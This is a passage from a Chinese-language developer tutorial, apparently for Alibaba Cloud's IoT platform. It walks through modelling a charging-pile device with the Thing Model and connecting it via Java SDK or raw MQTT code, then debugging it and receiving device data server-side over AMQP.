    这个阶段的客户大多是硬件厂商,软硬一体开发,尝试物联网转型提升设备价值,对物联网平台的诉求比较简单,希望自己更多参与,对新模式有更多把控力,所以都会采用自定义协议上云。

    test

    物联网繁荣

    关键词:生态、扩展、数字化

    近两年物联网设备、解决方案如雨后春笋般涌出,不少用户希望赶上物联网这波浪潮。这个阶段的客户不仅仅关注设备连云,也开始关注围绕设备产生的解决方案。因此客户角色从硬件厂商,快速扩展到集成商、软件提供商等。由于大量角色的进入,对软硬开发解耦、易扩展的能力提出了诉求。同时我们也发现第一批使用通道能力的平台客户随着自己业务发展、设备扩展,原来的架构已无法支撑,对物联网平台也提出了新的要求。

    举两个典型场景:

    • 老客户升级:某个共享设备提供商,原来仅提供大学校园共享洗衣机服务,利用物联网平台通道能力上云,随着公司业务发展,从共享洗衣机业务扩展到校园淋浴、饮水机、充电桩等多类设备,原来自定义协议和API无法支撑多品类设备,难扩展。需要有一套接入标准和规范,方便快速扩展设备类型。
    • 新生态客户:某个充电桩平台客户,提供充电桩管理平台,作为甲方要求大量桩企(乙方)按照平台规范接入,典型的软硬件分离场景。需要有一套接入标准和规范,方便快速扩展桩企规模。

    这一阶段平台在通道能力之上,提供了物模型能力,物模型可以屏蔽底层设备差异,让软件开发者基于平台提供的标准API开发;硬件开发者基于平台提供的标准协议开发;从而达到软硬开发解耦的目的。

    test

    物联网赋能

    关键词:场景化、智能

    物联网终极目标一定是基于设备采集数据赋能业务,实现数字业务化。例如金融、物流、家居、餐饮、商场、医疗、交通等不同领域通过物联网数字化后,结合数据分析智能化决策、互联互通、场景规则、数字孪生等能力实现纵深领域场景化、智能化。
    这一阶段平台在通道能力、物模型能力之上,还进一步提供设备智能运维、数据分析、可视化、数字孪生等高价值服务,帮助客户数字化后产生真正的业务价值。

    test

    基于以上分析,物联网已经过了最初的“元年”阶段,也迈入了“繁荣”阶段,正逐步朝“问物联网要赋能”的阶段演进。物模型是物联网生态化、高扩展、数字化、智能化非常重要的基础,强烈建议客户使用。

    物模型接入实践

    自定义接入模式

    以一个老客户为例,原来仅使用物联网平台通道能力,下图中1~8流程都需要自定义开发,当客户设备类型足够简单时,该模式复杂度通常不会成为客户痛点。

    test

    面临的挑战

    随着客户接入设备种类越来越多,面临的扩展性问题也越来越严峻。

    test

    使用物模型后的模式

    物模型模式下,设备与云交互协议、云平台设备API都基于物模型标准化了,即使设备不断扩展,客户业务服务器和设备端逻辑都不需要进行调整,保证了扩展性。

    test

    物模型接入流程详细介绍

    流程图

    以下是客户详细接入流程,主要分为:云端配置、设备开发、服务端开发、设备运行时管理四大部分。平台会提供一些工具,使各部分流程更高效。接下来进行详细介绍。
    image.png
    本文试图手把手介绍从0到1接入物模型,还会配套介绍一些接入过程中有帮助的平台能力,所以文章篇幅比较长,事实上客户接入流程还是非常简单的,真正开发只需要涉及到图中红色三个模块。

    如果您希望快速接入,可以直接关注P0部分,其它部分都可以跳过。

    1 云端配置

    1.1 创建产品(P0)

    1.登录物联网平台
    2.创建产品。
    image.png
    说明
    • 所属品类:标准品类库提供了一些供参考的模板,选择后可以修改,建议使用。
    • 节点类型:根据实际选择即可。
    • 数据格式:“ICA标准数据格式(Alink JSON)”表示设备使用标准Alink JSON格式上报数据;“透传/自定义”表示设备可以使用自定义格式,通过Alink特定Topic上报物联网平台,该模式客户需要写脚本进行转换,透传模式在此不做展开,后面单独起文章介绍。

    1.2 物模型建模(P0)

    1.模型查看。
    已有的模型是继承自创建产品时选择的“充电桩”品类模板。
    image.png

    2.编辑模型。
    通过“编辑草稿”,进行修改和添加,最后需要对物模型“发布上线”。
    image.png
    说明
    • 定义物模型非常重要,物模型通过属性、事件、服务三要素描述了设备所有能力,设备和云交互、客户服务器访问设备通过物模型都可以实现协议标准化。如果客户定义的物模型如果足够通用和专业,阿里可以帮助作为ICA行业标准进行推广。
    • 服务的调用方式有:同步调用、异步调用两种模式。客户云端开发调用下行控制API,同步调用和异步调用获取返回结果方式不一样,在后文“3.3”章节详细介绍。

    物模型概念介绍
    物模型介绍文档请参见这里
    了解物模型概念,能够帮助您更好对设备建模。

    1.3 物模型配置

    当前默认是物模型强校验模式,即设备上报数据在IoT平台会进行物模型数据规范强校验,如果不符合规范会报错。
    另外物模型弱校验、免校验、去重等规则也会在近期陆续开放,后期进行文档补充。
    配置之后,会在设备运行时生效。

    关联阅读:4.2 物模型扩展规则校验。

    1.4 注册三元组(P0)

    1.注册设备。
    image.png
    说明
    • 添加设备:测试阶段使用较多,单个添加。
    • 批量添加:量产阶段使用,有两种模式,“自动生成”表示设备标识符(deviceName)由平台按照一定的规则随机颁发;“批量上传”支持客户自定义设备标识符(deviceName)。
    2.查看设备列表。
    可以通过“设备列表”、“批次管理”两种方式查看创建的设备列表。
    image.png
    通过“批次管理”查看这一批次设备详情,并且支持下载三元组列表。
    image.png

    注意:此处设备标识符(deviceName)非常重要,与productKey, deviceSecret一起称为设备的“三元组”,作为设备的唯一身份,大部分情况需要烧录到设备上。

    2 设备开发

    2.1 使用设备SDK开发(P0)

    设备接入SDK文档请参见这里
    image.png

    根据需要选择合适的语言版本。C SDK 建议使用“4.x”版本。

    本文选择 Java SDK进行演示。
    环境准备:https://help.aliyun.com/document_detail/97331.html
    物模型开发:https://help.aliyun.com/document_detail/97333.html

    1.开发之前需要先准备如下好两份数据:

    • 设备证书信息(productKey、deviceName、deviceSecret)
      image.png
    • 设备物模型
      image.png

    为了方便查看物模型详细数据规范,通过导出“物模型TSL”查看详细物模型定义,其中包括物模型属性、事件、服务标识符、参数、数据规范。抽取部分内容,针对以下属性、事件、服务在DEMO中进行开发演示。

        "schema":"https://iotx-tsl.oss-ap-southeast-1.aliyuncs.com/schema.json",
        "profile":{
            "productKey":"a1nhbEV****"
        },
        "properties":[
            {
                "identifier":"acOutMeterIty",
                "name":"交流输出电表底值监测属性",
                "accessMode":"rw",
                "required":false,
                "dataType":{
                    "type":"int",
                    "specs":{
                        "min":"0",
                        "max":"200",
                        "step":"1"
                    }
                }
            }
        ],
        "events":[
            {
                "identifier":"post",
                "name":"post",
                "type":"info",
                "required":true,
                "desc":"属性上报",
                "method":"thing.event.property.post",
                "outputData":[
                    {
                        "identifier":"acOutMeterIty",
                        "name":"交流输出电表底值监测属性",
                        "dataType":{
                            "type":"int",
                            "specs":{
                                "min":"0",
                                "max":"200",
                                "step":"1"
                            }
                        }
                    }
                ]
            },
            {
                "identifier":"startChaResEvt",
                "name":"启动充电结果事件",
                "type":"info",
                "required":false,
                "method":"thing.event.startChaResEvt.post",
                "outputData":[
                    {
                        "identifier":"gunNum",
                        "name":"充电枪编号",
                        "dataType":{
                            "type":"int",
                            "specs":{
                                "min":"0",
                                "max":"100",
                                "step":"2"
                            }
                        }
                    }
                ]
            }
        ],
        "services":[
            {
                "identifier":"set",
                "name":"set",
                "required":true,
                "callType":"async",
                "desc":"属性设置",
                "method":"thing.service.property.set",
                "inputData":[
                    {
                        "identifier":"acOutMeterIty",
                        "name":"交流输出电表底值监测属性",
                        "dataType":{
                            "type":"int",
                            "specs":{
                                "min":"0",
                                "max":"200",
                                "step":"1"
                            }
                        }
                    }
                ],
                "outputData":[
    
                ]
            },
            {
                "identifier":"get",
                "name":"get",
                "required":true,
                "callType":"async",
                "desc":"属性获取",
                "method":"thing.service.property.get",
                "inputData":[
                    "acOutMeterIty"
                ],
                "outputData":[
                    {
                        "identifier":"acOutMeterIty",
                        "name":"交流输出电表底值监测属性",
                        "dataType":{
                            "type":"int",
                            "specs":{
                                "min":"0",
                                "max":"200",
                                "step":"1"
                            }
                        }
                    }
                ]
            },
            {
                "identifier":"startChaResService",
                "name":"开启充电",
                "required":false,
                "callType":"async",
                "method":"thing.service.startChaResService",
                "inputData":[
                    {
                        "identifier":"charm",
                        "name":"电量",
                        "dataType":{
                            "type":"int",
                            "specs":{
                                "min":"1",
                                "max":"100",
                                "step":"2"
                            }
                        }
                    }
                ],
                "outputData":[
                    {
                        "identifier":"realcharm",
                        "name":"realcharm",
                        "dataType":{
                            "type":"int",
                            "specs":{
                                "min":"0",
                                "max":"100",
                                "step":"2"
                            }
                        }
                    }
                ]
            }
        ]
    }

    2.开发代码。
    如下示例中只需要将三元组,和属性、事件、服务参数替换成您的设备信息。其它代码可以直接运行。

    关于免订阅能力介绍:

    有些设备最资源比较敏感,为了避免初始化订阅大量Alink协议中系统Topic带来的性能开销,平台提供了免订阅能力,即平台帮设备进行Topic订阅。
    SDK只有3.1.0及以后版本支持免订阅能力,并且默认打开该能力。
    如果3.1.0及以后版本SDK您希望取消免订阅,依旧按需订阅Topic,可以设置SDK配置项关闭该能力,在make.settings中设置“FEATURE_MQTT_AUTO_SUBSCRIBE=n”。

    public class Demo {
    
        public static void main(String[] args) throws Exception {
    
            String pk = "a1nhbEVCP**";
            String dn = "7mBP6Dd6IT27Rt***";
            String ds = "*****";
    
            /**
             * 连接 & 认证
             */
            LinkKitInitParams params = new LinkKitInitParams();
    
            // 设置 Mqtt 初始化参数
            IoTMqttClientConfig config = new IoTMqttClientConfig();
            config.productKey = pk;
            config.deviceName = dn;
            config.deviceSecret = ds;
            config.receiveOfflineMsg = false;
            params.mqttClientConfig = config;
    
            // 设置初始化三元组信息,用户传入
            DeviceInfo deviceInfo = new DeviceInfo();
            deviceInfo.productKey = pk;
            deviceInfo.deviceName = dn;
            deviceInfo.deviceSecret = ds;
    
            params.deviceInfo = deviceInfo;
    
            LinkKit.getInstance().init(params, new ILinkKitConnectListener() {
                public void onError(AError aError) {
                    System.out.println("===============FAILURE===============");
                    ALog.e(TAG, "Init Error error=" + aError);
                    System.out.println("===============FAILURE===============");
                }
    
                public void onInitDone(InitResult initResult) {
                    System.out.println("===============SUCCESS===============");
                    ALog.i(TAG, "onInitDone result=" + initResult);
                    System.out.println("===============SUCCESS===============");
                }
    
            });
    
            //此处sleep 5S,由于上面init是异步流程
            Thread.sleep(5000);
    
            /**
             * 物模型开发
             */
    
            /**
             * 上报属性
             */
            Map<String, ValueWrapper> properties = new HashMap<>();
    
            // key为物模型中属性标识符"acOutMeterIty",value需要遵循属性值规范:int类型,取值范围在0~200之间;
            properties.put("acOutMeterIty", new ValueWrapper(10));
    
            LinkKit.getInstance().getDeviceThing().thingPropertyPost(properties, new IPublishResourceListener() {
    
                @Override
                public void onSuccess(String s, Object o) {
                    System.out.println("=====thingPropertyPost success=======");
                    System.out.println(s);
                    System.out.println(JSON.toJSONString(o));
                }
    
                @Override
                public void onError(String s, AError aError) {
                    System.out.println("=====thingPropertyPost failure=======");
                }
            });
    
            // 上报属性之后,云端会返回响应结果,此处是监听云端返回的属性reply
            LinkKit.getInstance().registerOnNotifyListener(new IConnectNotifyListener() {
    
                @Override
                public void onNotify(String s, String s1, AMessage aMessage) {
                    System.out.println("===PROPERTY REPLY===");
                    System.out.println("TOPIC:" + s1);
                    System.out.println("Payload:" + JSON.toJSONString(aMessage));
                }
    
                @Override
                public boolean shouldHandle(String s, String s1) {
                    return false;
                }
    
                @Override
                public void onConnectStateChange(String s, ConnectState connectState) {
                }
            });
    
            /**
             * 上报事件
             */
            HashMap<String, ValueWrapper> eventMap = new HashMap<>();
    
            // key为物模型中事件参数的标识符"gunNum", value为事件参数值需要遵循数值规范:int类型,取值范围0~100之间;
            eventMap.put("gunNum", new ValueWrapper.IntValueWrapper(50));
    
            OutputParams eventOutput = new OutputParams(eventMap);
    
            // 参数identity为"startChaResEvt"属于物模型事件标识符。
            LinkKit.getInstance().getDeviceThing().thingEventPost("startChaResEvt", eventOutput, new IPublishResourceListener() {
                public void onSuccess(String resId, Object o) {
                    System.out.println("=====thingEventPost success=======");
                    System.out.println(resId);
                    System.out.println(JSON.toJSONString(o));
                }
    
                public void onError(String resId, AError aError) {
                    System.out.println("=====thingEventPost failure=======");
                }
            });
    
            /**
             * 监听并执行下行服务
             */
            // 获取设备支持的所有服务
            LinkKit.getInstance().getDeviceThing().getServices();
    
            // 用户可以根据实际情况注册自己需要的服务的监听器
            List<Service> srviceList = LinkKit.getInstance().getDeviceThing().getServices();
    
            for (int i = 0; srviceList != null && i < srviceList.size(); i++) {
                Service service = srviceList.get(i);
    
                LinkKit.getInstance().getDeviceThing().setServiceHandler(service.getIdentifier(), new ITResRequestHandler() {
    
                    public void onProcess(String identify, Object result, ITResResponseCallback itResResponseCallback) {
    
                        System.out.println("onProcess() called with: s = [" + identify + "], o = [" + result + "], itResResponseCallback = [" + itResResponseCallback + "]");
                        System.out.println("收到云端异步服务调用 " + identify);
                        try {
                            /**
                             * 设置属性(property)的模式
                             */
                            // "set"为设置属性默认的标识符
                            if ("set".equals(identify)) {
                                // TODO 用户需要设置真实设备的的属性
                                /**
                                 * 向云端同步设置好的属性值
                                 */
                                Map<String, ValueWrapper> desiredProperty = (Map<String, ValueWrapper>) ((InputParams) result).getData();
    
                                LinkKit.getInstance().getDeviceThing().thingPropertyPost(desiredProperty, new IPublishResourceListener() {
    
                                    @Override
                                    public void onSuccess(String s, Object o) {
                                        if (result instanceof InputParams) {
                                            Map<String, ValueWrapper> data = (Map<String, ValueWrapper>) ((InputParams) result).getData();
                                            //                        data.get()
                                            ALog.d(TAG, "收到异步下行数据 " + data);
                                            // 响应云端 接收数据成功
                                            itResResponseCallback.onComplete(identify, null, null);
                                        } else {
                                            itResResponseCallback.onComplete(identify, null, null);
                                        }
                                    }
    
                                    @Override
                                    public void onError(String s, AError aError) {
                                        AError error = new AError();
                                        error.setCode(100);
                                        error.setMsg("setPropertyFailed.");
                                        itResResponseCallback.onComplete(identify, new ErrorInfo(error), null);
                                    }
                                });
    
                                /**
                                 * 服务(service)的模式
                                 */
                                // "startChaResService"为服务的标识符
                            } else if ("startChaResService".equals(identify)) {
    
                                Map<String, ValueWrapper> inputParams = (Map<String, ValueWrapper>) ((InputParams) result).getData();
                                // TODO 根据服务入参inputParams执行设备逻辑,比如启动充电
                                // 充电完成后,向云端返回输出参数
                                OutputParams outputParams = new OutputParams();
                                // key为"charm"属于物模型中"startChaResService"服务出参标识符,value为出参值遵循数据规范:int类型,数据范围1~100之间;
                                outputParams.put("charm", new ValueWrapper.IntValueWrapper(20));
    
                                itResResponseCallback.onComplete(identify, null, outputParams);
    
                            } else {
                                // 根据不同的服务做不同的处理,跟具体的服务有关系
                                OutputParams outputParams = new OutputParams();
                                // 根据特定服务,按照服务规范返回服务的出参。
                                itResResponseCallback.onComplete(identify, null, outputParams);
                            }
                        } catch (Exception e) {
                            e.printStackTrace();
                            ALog.d(TAG, "云端返回数据格式异常");
                        }
                    }
                    public void onSuccess(Object o, OutputParams outputParams) {
                        ALog.d(TAG, "onSuccess() called with: o = [" + o + "], outputParams = [" + outputParams + "]");
                        ALog.d(TAG, "注册服务成功");
                    }
                    public void onFail(Object o, ErrorInfo errorInfo) {
                        ALog.d(TAG, "onFail() called with: o = [" + o + "], errorInfo = [" + errorInfo + "]");
                        ALog.d(TAG, "注册服务失败");
                    }
                });
            }
        }
    }

    说明
    • 上报属性成功,云端会返回REPLY,有以下日志说明设备到云,云到设备的链路全部走通。
    image.png
    • 设备收到属性设置指令,在完成物理设备属性修改后,建议将最新属性同步上报云端。

    2.2 不使用SDK开发

    1.协议准备。
    “2.1 使用设备SDK开发”介绍了使用阿里云提供的SDK进行设备开发,当然您也可以选择不使用SDK,完全基于Alink协议(设备和云交互协议)开发。
    Alink协议文档:https://help.aliyun.com/document_detail/90459.html
    重点关注物模型协议部分:https://help.aliyun.com/document_detail/89301.html 。里面包含了物模型相关所有Topic介绍(物模型Topic列表在控制台也可以查看,如下图)。

    test

    文档详细介绍了设备端如何向云端上报“属性”、“事件”,如何订阅云端向下发送的“服务”指令。
    Topic和Payload都基于客户定义的物模型进行标准化和规范化,从而使得客户设备与云交互方式不会随着设备类型变化而改变,满足扩展性要求。
    image.png

    2.环境准备。
    根据自己选型选择合适的MQTT客户端,本文选择eclipse paho。

    <dependency>
        <groupId>org.eclipse.paho</groupId>
        <artifactId>org.eclipse.paho.client.mqttv3</artifactId>
        <version>1.1.1</version>//可以选择您需要的版本
    </dependency>

    3.开发。
    物模型复用“2.1 使用设备SDK开发”中“开发前准备”给出的。

    关于免订阅能力介绍:

    有些设备最资源比较敏感,为了避免初始化订阅大量Alink协议中系统Topic带来的性能开销,平台提供了免订阅能力,即平台帮设备进行Topic订阅。
    SDK只有3.1.0及以后版本支持免订阅能力,并且默认打开该能力。
    如果不使用SDK开发,可以通过设备端在MQTT的连接报文中的clientId部分, 新增_ss=1表示开启自动订阅, 建连成功后服务端会自动订阅上以下表格中的topic, 若传递 _ss=0 或者不传递该字段, 则不会发生服务端自动订阅动作。

    4.上报属性。

    String productKey = "a1nhbEV****";
    String deviceName = "7mBP6Dd6IT2*****";
    String deviceSecret = "****";
    
    // MQTT连接
    MqttTestClient client;
    client = new MqttTestClient(productKey, deviceName, deviceSecret);
    
    client.connect();
    
    String setTopic = "/thing/event/property/post";
    String setTopicReply = "/thing/event/property/post_reply";
    
    // 上报属性,云端会返回REPLY,进行订阅。(为了节省端侧订阅开销,可以开通免订阅)
    // 此处client进行了封装,您根据自己的业务进行封装即可,也可以直接使用MQTT Client subscribe
    client.sysTopic(setTopicReply).subscribe();
    
    // 封装Alink协议系统参数
    Map<String, Object> payload = new HashMap<String, Object>();
    Map<String, Object> params = new HashMap<String, Object>();
    payload.put("id", 11);//id需要保证设备端一段时间内唯一
    payload.put("params", params);
    payload.put("method", "thing.event.property.post");
    
    // 组装属性payload
    String propKey = "acOutMeterIty";
    int statusValue = 30;
    Map<String, Object> proValue = new HashMap<>();
    proValue.put("value", statusValue);
    proValue.put("time", System.currentTimeMillis());
    params.put(propKey, proValue);
    
    // 上报(client进行了封装,您根据自己的业务进行封装即可,也可以直接使用MQTT Client publish消息)
    client.sysTopic(setTopic).publish(JSON.toJSONString(payload));
    
    // 打印云端返回的Reply(client进行了封装,您根据自己的业务进行封装即可,也可以直接使用MQTT Client监听订阅消息)
    client.sysTopic(setTopicReply).readTopic(10000);
    
    client.disconnect();

    日志打印的设备请求和响应。
    image.png

    5.上报事件。

    
    String productKey = "a1nhbEV****";
    String deviceName = "7mBP6Dd6IT27*****";
    String deviceSecret = "***";
    
    // MQTT连接
    MqttTestClient client;
    client = new MqttTestClient(productKey, deviceName, deviceSecret);
    
    client.connect();
    
    // topic中为"startChaResEvt"属于物模型事件标识符。
    String setTopic = "/thing/event/startChaResEvt/post";
    String setTopicReply = "/thing/event/startChaResEvt/post_reply";
    
    // 报事件,云端会返回REPLY,进行订阅。(为了节省端侧订阅开销,可以开通免订阅)
    client.sysTopic(setTopicReply).subscribe();
    
    // 封装Alink协议系统参数
    Map<String, Object> payload = new HashMap<String, Object>();
    Map<String, Object> params = new HashMap<String, Object>();
    payload.put("id", 11);//id需要保证设备端一段时间内唯一
    payload.put("params", params);
    payload.put("method", "thing.event.startChaResEvt.post");
    
    // 组装属性payload
    Map<String, Object> dataValue = new HashMap<>();
    // key为物模型中事件参数的标识符"gunNum", value为事件参数值需要遵循数值规范:int类型,取值范围0~100之间;
    dataValue.put("gunNum", 59);
    
    params.put("value", dataValue);
    params.put("time", System.currentTimeMillis());
    
    // 上报(client进行了封装,您根据自己的业务进行封装即可,也可以直接使用MQTT Client publish消息)
    client.sysTopic(setTopic).publish(JSON.toJSONString(payload));
    
    // 打印云端返回的Reply(client进行了封装,您根据自己的业务进行封装即可,也可以直接使用MQTT Client监听订阅消息)
    client.sysTopic(setTopicReply).readTopic(10000);
    
    client.disconnect();

    6.服务调用。
    此处为一段伪代码。可以在MQTT建连的时候通过callback监听云端下发的控制指令或消息。
    前提:已经对下行的TOPIC进行订阅过,免订阅能力参考上面介绍。

    mqttClient = new MqttClient(url, clientId, persistence);
    final MqttConnectOptions connOpts = new MqttConnectOptions();
    connOpts.setMqttVersion(4);
    connOpts.setAutomaticReconnect(true);
    connOpts.setCleanSession(false);
    connOpts.setUserName(mqttUsername);
    connOpts.setPassword(mqttPassword.toCharArray());
    connOpts.setKeepAliveInterval(65);
    LogUtil.log(clientId + "进行连接, 目的地: " + url);
    
    // 此处订阅云端下发的消息
    mqttClient.setCallback(new MqttCallback() {
        @Override
        public void connectionLost(Throwable cause) {
            LogUtil.log("connection lost, cause:" + cause);
            cause.printStackTrace();
        }
    
        @Override
        public void messageArrived(String topic, MqttMessage message) throws Exception {
            TopicChannel topicChannel = getTopic(topic);
            LogUtil.log("receive message, channel:" + topicChannel
                        + ",topic:" + topic
                        + ", payload:" + new String(message.getPayload(), "UTF-8") + "");
            topicChannel.put(message);
        }
    
        @Override
        public void deliveryComplete(IMqttDeliveryToken token) {
            //如果是qos 0消息 token.resp是没有回复的
            LogUtil.log("sent, " + ((token == null || token.getResponse() == null) ? "null"
                                    : token.getResponse().getKey()));
        }
    });
    
    mqttClient.connect(connOpts);

    重点说明
    • 所有被订阅的下行Topic都会被监听到。物模型相关的主要包括:属性上报Reply、属性下行设置、服务下行控制。
    • 设置设备属性(https://help.aliyun.com/document_detail/89301.html#title-wmh-y2e-18r),默认异步方式返回结果。
    • 订阅的Topic为Alink协议标准Topic:“/sys/{productKey}/{deviceName}/thing/service/property/set”
    • 服务控制(https://help.aliyun.com/document_detail/89301.html#title-3pt-nfy-jys),同异步方式取决于物模型中service配置的调用模式。
    • 服务异步方式订阅的Topic为Alink协议标准Topic:“/sys/{productKey}/{deviceName}/thing/service/{tsl.service.identifier}”
    • 服务同步方式订阅的Topic需要遵循RRPC Topic模式:详见文档https://help.aliyun.com/document_detail/90568.html

    注意:仅设备侧需要感知RRPC特殊TOPIC,设备上云后,数据流转、开放API面向的还是Alink协议编程。

    2.3 在线调试

    设备开发后之后,如何快速模拟业务服务器给设备下发指令,调试设备能力?IoT平台提供了“在线调试”的功能,可以模拟设备或模拟应用端到端调试。

    test

    此处使用“在线调试”里面“调试真实设备”能力。通过控制台下发设备控制指令,分两类:1)属性设置;2)服务调用。

    1.服务调用调试。

    image.png

    image.png
    云端下发后,可以到设备端查看控制Log是否打印,以判断指令达到端侧。
    从图中可见设备收到startChaResService服务,同时向云端返回了输出参数。

    2.属性设置调试。

    image.png
    说明
    • “获取”:暂不支持到设备,只能从云端获取设备最新属性。
    • “设置”:指令直接到设备端,设备修改本地属性之后,上报云端最新属性;到设备上的设置指令为"set"。
    • “设置期望值”:如果设备在线,会直接下发设备,如果设备离线,指令在云端进行缓存,待上线后下发设备端,下发之后,设备修改本地属性之后,同样上报云端最新属性;到设备上的设置指令同样为"set"。如果您希望使用物模型期望值能力,可点击查看最佳实践。
    image.png
    云端下发后,可以到设备端查看控制Log是否打印,以判断指令达到端侧。
    从图中可见设备收到set指令,返回了服务响应,同时向云端上报了最新属性。

    说明:服务结果还可以通过“2.4 查看物模型数据”章节中获取。

    2.4 查看物模型数据

    DEMO运行之后,可以看到设备已经“在线”状态。
    “运行状态”展示设备上报的属性值;
    “事件管理”展示设备上报的事件;
    “服务调用”展示云端下发设备的控制服务;
    image.png

    上报属性结构化展示。
    image.png

    上报事件,包括事件参数展示。
    image.png

    属性设置、服务调用两类服务的云端下发入参、设备响应出参都有展示,如上证明设备收到云端指令,并且正常返回响应。

    2.5 查看日志服务

    设备在运行过程,可能会出现一些异常,比如连接失败、认证失败、数据异常等等,为了便于排查,可以查看日志服务。举例设备上报数据可能会不符合物模型规范,比如事件参数"gunNum"对应值的数据范围为0~100之间,而真实上报了50000。日志服务会展示设备错误详情。
    image.png

    image.png
    可以看到日志内容为“{"Reason":"tsl parse: int value is bigger than max 100 -> gunNum"}”,说明gunNum对应值超过物模型规范最大值100的限制。物模型规范详情到“物模型TSL”查看。

    image.png
    同时可以通过“日志转储”中“日志报表”进一步查看设备大盘,包括设备上下线次数、设备上线IP区域分布、设备消息量、设备消息量Top列表、物模型错误分布、云端API错误分布等多维度指标。
    日志服务介绍文档请参见这里

    3 服务端开发

    设备连接到阿里云IoT平台,设备数据会保存在IoT平台时序数据库。同时IoT平台提供两种方式供客户获取设备数据:方式1)通过服务端订阅或者规则引擎实时流转到客户服务器;2)通过开放API供客户调用获取。

    3.1 服务端调用API开发(P0)

    1.环境准备。
    SDK下载文档:https://help.aliyun.com/document_detail/30581.html
    API接口列表:https://help.aliyun.com/document_detail/69579.html
    重点关注物模型使用相关API

    test

    2.以下示例为设置设备属性API,设备异步返回结果,客户需要通过“数据流转”方式获取。

    String accessKey = "***";
    String accessSecret = "***";
    try {
        DefaultProfile.addEndpoint("cn-shanghai", "cn-shanghai", "Iot", "iot.cn-shanghai.aliyuncs.com");
    } catch (Exception e) {
        System.out.println("DefaultProfile exception");
    }
    
    IClientProfile profile = DefaultProfile.getProfile("cn-shanghai", accessKey, accessSecret);
    DefaultAcsClient defaultAcsClient = new DefaultAcsClient(profile);
    
    SetDevicePropertyRequest setDevicePropertyRequest = new SetDevicePropertyRequest();
    // 如果使用实例,此处传入真实实例id;如果公共实例,不需要设置。
    //createProductRequest.setIotInstanceId("iothub-test-xxx");
    setDevicePropertyRequest.setProductKey(pk);
    setDevicePropertyRequest.setDeviceName(dn);
    
    Map<String, Integer> properties = new HashMap<>();
    // key为物模型中属性标识符"acOutMeterIty",value需要遵循属性值规范:int类型,取值范围在0~200之间;
    properties.put("acOutMeterIty", 98);
    setDevicePropertyRequest.setItems(JSON.toJSONString(properties));
    
    SetDevicePropertyResponse response = null;
    try {
        response = defaultAcsClient.getAcsResponse(setDevicePropertyRequest);
    } catch (Exception e) {
        Log.error("执行失败:e:" + e.getMessage());
    }
    
    System.out.println("===============");
    System.out.println("setDeviceProperty request : " + JSON.toJSONString(setDevicePropertyRequest));
    System.out.println("setDeviceProperty response : " + JSON.toJSONString(response.getData()));
    System.out.println("setDeviceProperty requestId : " + response.getRequestId());
    System.out.println("===============");

    重点说明
    image.png
    下行控制如果为异步服务,需要通过订阅数据流转获取设备返回结果,订阅方式和数据结构详见“3.2 数据流转”章节介绍。

    关联介绍:“3.2.1 服务端订阅”中“重点说明”。

    3.2 数据流转

    平台提供两种数据流转方式:方式1)服务端订阅;方式2)规则引擎;

    3.2.1服务端订阅(P0)

    服务端订阅配置
    image.png
    “推送消息类型”选择“设备上报消息”,包括物模型属性上报、事件上报、设备下行指令结果(包括属性设置响应、服务控制响应)等消息。
    消息格式详见文档:https://help.aliyun.com/document_detail/73736.html

    test

    服务端订阅DEMO
    接入说明:https://help.aliyun.com/document_detail/143601.html

    /**
     * AMQP服务端订阅
    */
    //参数说明,请参见AMQP客户端接入说明文档。
    String accessKey = "***";
    String accessSecret = "***";
    String consumerGroupId = "***";
    //iotInstanceId:购买的实例请填写实例ID,公共实例请填空字符串""。
    String iotInstanceId = "";
    long timeStamp = System.currentTimeMillis();
    //签名方法:支持hmacmd5、hmacsha1和hmacsha256。
    String signMethod = "hmacsha1";
    //控制台服务端订阅中消费组状态页客户端ID一栏将显示clientId参数。
    //建议使用机器UUID、MAC地址、IP等唯一标识等作为clientId。便于您区分识别不同的客户端。
    String clientId = "TESTClientID";
    
    //userName组装方法,请参见AMQP客户端接入说明文档。
    String userName = clientId + "|authMode=aksign"
        + ",signMethod=" + signMethod
                + ",timestamp=" + timeStamp
                + ",authId=" + accessKey
                + ",iotInstanceId=" + iotInstanceId
                + ",consumerGroupId=" + consumerGroupId
                + "|";
    //计算签名,password组装方法,请参见AMQP客户端接入说明文档。
    String signContent = "authId=" + accessKey + "&timestamp=" + timeStamp;
    String password = doSign(signContent,accessSecret, signMethod);
    //接入域名,请参见AMQP客户端接入说明文档。
    String connectionUrl = "amqps://${uid}.iot-amqp.${regionId}.aliyuncs.com:5671?amqp.idleTimeout=80000";
    
    Hashtable<String, String> hashtable = new Hashtable<>();
    hashtable.put("connectionfactory.SBCF",connectionUrl);
    hashtable.put("queue.QUEUE", "default");
    hashtable.put(Context.INITIAL_CONTEXT_FACTORY, "org.apache.qpid.jms.jndi.JmsInitialContextFactory");
    Context context = new InitialContext(hashtable);
    ConnectionFactory cf = (ConnectionFactory)context.lookup("SBCF");
    Destination queue = (Destination)context.lookup("QUEUE");
    // Create Connection
    Connection connection = cf.createConnection(userName, password);
    ((JmsConnection) connection).addConnectionListener(myJmsConnectionListener);
    // Create Session
    // Session.CLIENT_ACKNOWLEDGE: 收到消息后,需要手动调用message.acknowledge()。
    // Session.AUTO_ACKNOWLEDGE: SDK自动ACK(推荐)。
    Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
    connection.start();
    // Create Receiver Link
    MessageConsumer consumer = session.createConsumer(queue);
    consumer.setMessageListener(messageListener);
    }
    
    private static MessageListener messageListener = new MessageListener() {
        @Override
        public void onMessage(Message message) {
            try {
                //1.收到消息之后一定要ACK。
                // 推荐做法:创建Session选择Session.AUTO_ACKNOWLEDGE,这里会自动ACK。
                // 其他做法:创建Session选择Session.CLIENT_ACKNOWLEDGE,这里一定要调message.acknowledge()来ACK。
                // message.acknowledge();
                //2.建议异步处理收到的消息,确保onMessage函数里没有耗时逻辑。
                // 如果业务处理耗时过程过长阻塞住线程,可能会影响SDK收到消息后的正常回调。
                executorService.submit(() -> processMessage(message));
            } catch (Exception e) {
                logger.error("submit task occurs exception ", e);
            }
        }
    };
    
    /**
     * 在这里处理您收到消息后的具体业务逻辑。
    */
    private static void processMessage(Message message) {
        try {
            byte[] body = message.getBody(byte[].class);
            String content = new String(body);
            String topic = message.getStringProperty("topic");
            String messageId = message.getStringProperty("messageId");
            System.out.println("AMQP receive message"
                               + ", topic = " + topic
                               + ", messageId = " + messageId
                               + ", content = " + content);
        } catch (Exception e) {
            logger.error("processMessage occurs error ", e);
        }
    }
    
    private static JmsConnectionListener myJmsConnectionListener = new JmsConnectionListener() {
        /**
         * 连接成功建立。
         */
        @Override
        public void onConnectionEstablished(URI remoteURI) {
